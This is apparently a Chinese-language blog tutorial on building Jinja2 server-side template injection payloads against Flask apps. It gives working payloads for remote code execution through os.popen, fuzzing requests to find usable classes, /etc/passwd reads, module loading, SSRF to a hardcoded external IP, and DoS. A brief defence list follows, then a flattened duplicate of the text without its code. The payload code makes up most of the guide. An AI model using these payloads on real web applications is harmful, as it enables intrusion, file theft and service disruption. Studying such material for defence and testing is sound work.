jinja2 ssti payload 构造的进一步探究
字数 1280 2025-08-29 08:32:01

Jinja2 SSTI Payload 构造高级指南

1. Jinja2 SSTI 基础

Jinja2 模板注入(SSTI)漏洞发生在用户输入被直接作为模板渲染时。攻击者可以通过构造特殊payload来执行任意代码。

1.1 漏洞示例代码

使用 render_template_string

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/fuck", methods=['GET', 'POST'])
def fuck():
    id = request.args["id"]
    t = f"Hello {id} !!!"
    return render_template_string(t)

使用 render_template

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/fuck", methods=['GET', 'POST'])
def fuck():
    id = request.args["id"]
    return render_template("fuck.html", id=id)

使用 Template

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/fuck", methods=['GET', 'POST'])
def fuck():
    id = request.args["id"]
    t = Template(f"Hello {id} !!!")
    return t.render()

2. Payload 构造方法论

2.1 通过类继承链获取gadget

基本思路是通过Python的类继承关系获取危险函数:

{{ [].__class__.__base__.__subclasses__() }}

常用payload示例

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

2.2 Fuzz可用类

可以通过fuzz找到更多可利用的类:

Fuzz builtins

GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["__builtins__"]}} HTTP/1.1

Fuzz os模块

GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["os"]}} HTTP/1.1

Fuzz sys模块

GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["sys"]}} HTTP/1.1

3. 通过全局变量获取gadget

3.1 Flask默认全局变量

Jinja2模板中可以访问以下Flask全局变量:

  • config: 当前配置对象
  • request: 当前请求对象
  • session: 当前会话对象
  • g: 请求绑定的全局变量对象
  • url_for(): flask.url_for()函数
  • get_flashed_messages(): flask.get_flashed_messages()函数

3.2 Jinja2内置全局对象

  • range([start,] stop[, step])
  • lipsum(n=5, html=True, min=20, max=100)
  • dict(**items)
  • class cycler(*items)
  • class joiner(sep=', ')
  • class namespace(...)

3.3 不同渲染方式的payload差异

使用Template时的限制

只能访问全局函数和全局class,无法访问全局对象:

{{[].__class__.__base__.__subclasses__()[0](config)}}  # 返回undefined

可用payload示例

{{ lipsum["__globals__"] }}  # 访问__builtins__
{{ cycler.__init__["__globals__"] }}  # 访问__builtins__
{{ joiner.__init__["__globals__"] }}  # 访问__builtins__
{{ namespace.__init__["__globals__"] }}  # 访问__builtins__

使用render_template/render_template_string时的额外payload

{{ config.__init__["__globals__"] }}  # 访问__builtins__和os
{{ config.from_pyfile["__globals__"] }}  # 访问__builtins__和os
{{ request.__init__["__globals__"] }}  # 访问__builtins__
{{ request._get_file_stream["__globals__"] }}  # 访问__builtins__
{{ request.close["__globals__"] }}  # 访问__builtins__
{{ session.__init__["__globals__"] }}  # 访问__builtins__
{{ g.get["__globals__"] }}  # 访问__builtins__和sys
{{ g.pop["__globals__"] }}  # 访问__builtins__和sys
{{ url_for["__globals__"] }}  # 访问__builtins__, os和sys
{{ get_flashed_messages["__globals__"] }}  # 访问__builtins__, os和sys

4. 高级利用技巧

4.1 通过Undefined对象获取gadget

{{ fuck.__init__.__globals__ }}  # 访问__builtins__和sys
{{ fuck.__init__["__globals__"] }}  # 访问__builtins__和sys

4.2 通过self获取gadget

{{ self.__init__["__globals__"] }}  # 访问__builtins__和sys

4.3 特定类的利用

文件读取

  1. 使用LazyFile:
{{[].__class__.__base__.__subclasses__()[409]("/etc/passwd").read()}}
  1. 使用_PackageBoundObject:
{{[].__class__.__base__.__subclasses__()[428]("fuck", "bitch", "/").open_resource("/etc/passwd").read()}}
  1. 使用FileLoader:
{{[].__class__.__base__.__subclasses__()[91].get_data(0, "/etc/passwd")}}

获取Flask app对象

{{[].__class__.__base__.__subclasses__()[430]().load_app()}}

进一步利用:

{{[].__class__.__base__.__subclasses__()[430]().load_app().open_instance_resource("/etc/passwd").read()}}

加载package

  1. 使用ImpImporter:
{{[].__class__.__base__.__subclasses__()[288]("/usr/local/lib/python3.7").find_module("os").load_module("os")}}
  1. 使用BuiltinImporter:
{{[].__class__.__base__.__subclasses__()[80].load_module("os")}}

SSRF

{{[].__class__.__base__.__subclasses__()[228]("87.94.119.19:12345").request("GET", "/index.php")}}

DoS攻击

{{[].__class__.__base__.__subclasses__()[335]("fuck")}}

或:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'SignalDictMixin' %}
{{ c("fuck") }}
{% endif %}
{% endfor %}

5. 防御措施

  1. 永远不要直接将用户输入作为模板渲染
  2. 对用户输入进行严格的过滤和转义
  3. 使用安全的模板渲染方式,如:
    return render_template_string("Hello {{ name }}!", name=user_input)
    
  4. 限制模板中可以访问的对象和方法
  5. 使用最新的框架版本,及时修补已知漏洞

6. 总结

Jinja2 SSTI漏洞的利用主要依赖于:

  1. Python对象的继承链和反射机制
  2. Flask/Jinja2提供的全局变量和函数
  3. 危险类的发现和利用
  4. 不同渲染方式下的payload差异

通过系统性地探索这些攻击面,可以构造出多种多样的payload来实现RCE、文件读取、SSRF、DoS等攻击效果。

Jinja2 SSTI Payload 构造高级指南 1. Jinja2 SSTI 基础 Jinja2 模板注入(SSTI)漏洞发生在用户输入被直接作为模板渲染时。攻击者可以通过构造特殊payload来执行任意代码。 1.1 漏洞示例代码 使用 render_ template_ string 使用 render_ template 使用 Template 2. Payload 构造方法论 2.1 通过类继承链获取gadget 基本思路是通过Python的类继承关系获取危险函数: 常用payload示例 2.2 Fuzz可用类 可以通过fuzz找到更多可利用的类: Fuzz builtins Fuzz os模块 Fuzz sys模块 3. 通过全局变量获取gadget 3.1 Flask默认全局变量 Jinja2模板中可以访问以下Flask全局变量: config : 当前配置对象 request : 当前请求对象 session : 当前会话对象 g : 请求绑定的全局变量对象 url_for() : flask.url_ for()函数 get_flashed_messages() : flask.get_ flashed_ messages()函数 3.2 Jinja2内置全局对象 range([start,] stop[, step]) lipsum(n=5, html=True, min=20, max=100) dict(**items) class cycler(*items) class joiner(sep=', ') class namespace(...) 3.3 不同渲染方式的payload差异 使用Template时的限制 只能访问全局函数和全局class,无法访问全局对象: 可用payload示例 使用render_ template/render_ template_ string时的额外payload 4. 高级利用技巧 4.1 通过Undefined对象获取gadget 4.2 通过self获取gadget 4.3 特定类的利用 文件读取 使用LazyFile: 使用_ PackageBoundObject: 使用FileLoader: 获取Flask app对象 进一步利用: 加载package 使用ImpImporter: 使用BuiltinImporter: SSRF DoS攻击 或: 5. 防御措施 永远不要直接将用户输入作为模板渲染 对用户输入进行严格的过滤和转义 使用安全的模板渲染方式,如: 限制模板中可以访问的对象和方法 使用最新的框架版本,及时修补已知漏洞 6. 总结 Jinja2 SSTI漏洞的利用主要依赖于: Python对象的继承链和反射机制 Flask/Jinja2提供的全局变量和函数 危险类的发现和利用 不同渲染方式下的payload差异 通过系统性地探索这些攻击面,可以构造出多种多样的payload来实现RCE、文件读取、SSRF、DoS等攻击效果。